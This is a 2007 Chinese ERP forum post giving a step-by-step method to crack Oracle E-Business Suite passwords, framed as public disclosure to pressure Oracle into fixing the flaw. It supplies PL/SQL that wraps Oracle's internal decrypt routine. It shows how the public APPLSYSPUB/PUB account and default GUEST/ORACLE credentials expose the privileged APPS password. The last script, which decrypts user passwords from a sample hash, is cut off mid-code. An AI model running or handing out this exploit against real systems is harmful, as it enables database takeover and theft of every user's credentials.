ERP俱乐部
ERP爱好者、ERP从业者互相交流、互相学习的乐园;我们的愿景是成为全球一流的中文ERP(Enterprise Resource Planning)交流平台
网站首页 论坛首页 搜索 用户列表 FAQ 注册 登录  
ERP俱乐部 -> Oracle Applications专栏 -> Oracle E-Business Suite -> 破解Oracle ERP 密码
  破解Oracle ERP 密码
帖子发起人: york   发起时间: 2007-12-07 02:12 下午   回复数: 0
? 上一主题 下一主题 ?
楼主
  2007-12-07, 02:12 下午
york 离线,最后访问时间: 2025/6/17 7:22:57 york

发帖数前25位
男

超级管理员
职务: 超级管理员
100级
等级: 100级
注册: 2004年9月11日
区域: 深圳
经验: 5,047
积分: 3,541
精华: 1
发贴: 892
排名: 5
Global AdministratorsGlobal ModeratorsSite ModeratorsSite Registered Users培训学员(FI学员服务区-深圳200410班)培训学员(ABAP学员服务区-深圳200503班) 培训学员(SAP PP) 培训学员(MM学员服务区-上海200505班) 培训学员(FI学员服务区-北京200505班) 培训学员(CO学员服务区-深圳200510班) 培训学员(BASIS学员服务区-深圳200510班) 培训学员(BW学员服务区-第一期视频远程班) 培训学员(HR学员服务区-上海200711班) 每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星每日发帖之星
破解Oracle ERP 密码
 
1.写作目的
在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
       公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.
2.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Body
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
   FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3.取得APPS密码的步骤
假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的 ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的 密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
4.通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
  guestUserPwd VARCHAR2(200);
  guestUserName VARCHAR2(100);
  guestFndPwd VARCHAR2(100);
  guestEncFndPwd VARCHAR2(100);
  delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF  guestUserPwd IS NULL THEN
         guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
  END IF;
  delim := INSTR(guestUserPwd,'/');
  guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
   SELECT encrypted_foundation_password INTO guestEncFndPwd
  FROM fnd_user_view
  WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
    (end_date IS NULL OR end_date > SYSDATE);
     guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
    IF NOT (guestFndPwd IS NULL) THEN
       DBMS_OUTPUT.put_line(guestFndPwd);
    END IF;
END;

注: guestUserPwd :='GUEST/ORACLE';--Can any user password
     上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行
5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
   v_encrypted_pwd   VARCHAR2 (100);
   v_apps_pwd        VARCHAR2 (100);
   v_user_pwd        VARCHAR (100);
BEGIN
   v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get  ENCRYPTED_USER_PASSWORD from fnd_user
   IF v_apps_pwd IS NULL
   THEN
&nbs
York
You ok,so we ok
MSN:yorkliu2004@hotmail.com
QQ:13092539
Skype:yorkliu2004
我的博客:http://blog.erpclub.org/york/default.aspx
分享按钮 IP 地址: 已登录   来自: 已登录    返回顶部
 第 1 页 总共 1 页 [共有 1 条记录]
ERP俱乐部 -> Oracle Applications专栏 -> Oracle E-Business Suite -> 破解Oracle ERP 密码
(C)Copyright 2005-2020 www.erpclub.org All Rights Reserved.
Tel:+86-755-26444630
Email:webmaster@yok.com.cn